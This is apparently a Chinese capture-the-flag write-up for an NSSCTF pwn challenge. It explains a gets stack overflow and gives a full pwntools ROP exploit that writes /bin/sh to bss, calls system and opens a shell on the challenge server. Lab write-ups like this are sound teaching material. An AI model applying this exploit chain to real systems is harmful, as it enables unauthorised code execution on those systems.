当前位置: 首页 > news >正文

[SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?(NSSCTF)

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

相关文章:

  • 公司内网本地的SVN没有公网IP地址,在家外网也能远程访问SVN服务!
  • 1.2.1+1.2.2计算机硬件的基本组成
  • Vue3中的TSX:用函数式思维构建现代组件的实践指南
  • 初识main函数
  • 深度学习模型可视化:Netron的安装和使用
  • Spring源码编译
  • Ensp --四路由练习
  • 日拱一卒【6】
  • 【agent】简历信息提取智能体
  • C++11新特性(2)
  • DETR3D- 3D Object Detection from Multi-view Images via 3D-to-2D Queries
  • 20250523-在Unity中创建角色动画(2D)(Set up Animator with State Machine)
  • Makefile快速入门
  • PCB设计实践(二十五)贴片电阻与插件电阻的全面解析:差异、演进与应用场景
  • Python打卡第34天
  • 纸牌游戏(基于集合,和自定义排序实现)
  • MIAOYUN受邀参加“创投天府·周周见”活动,以AI原生技术赋能科创产业新生态
  • 2000-2023年各地级市进出口总额/地级市对外经济贸易数据
  • Python图像处理基础(四)
  • 【三维重建】【3DGS系列】【深度学习】3DGS的理论基础知识之如何控制高斯椭球
  • 怎么查找网站后台/上海建站seo
  • 设计师个人作品集网站/青岛网站设计微动力
  • 上海小程序搭建/专业seo站长工具
  • h5商城网站建设是什么/如何自己制作网站
  • 做自己网站彩票/网站流量统计分析的维度包括
  • 临沂网站建设培训学校/广州seo顾问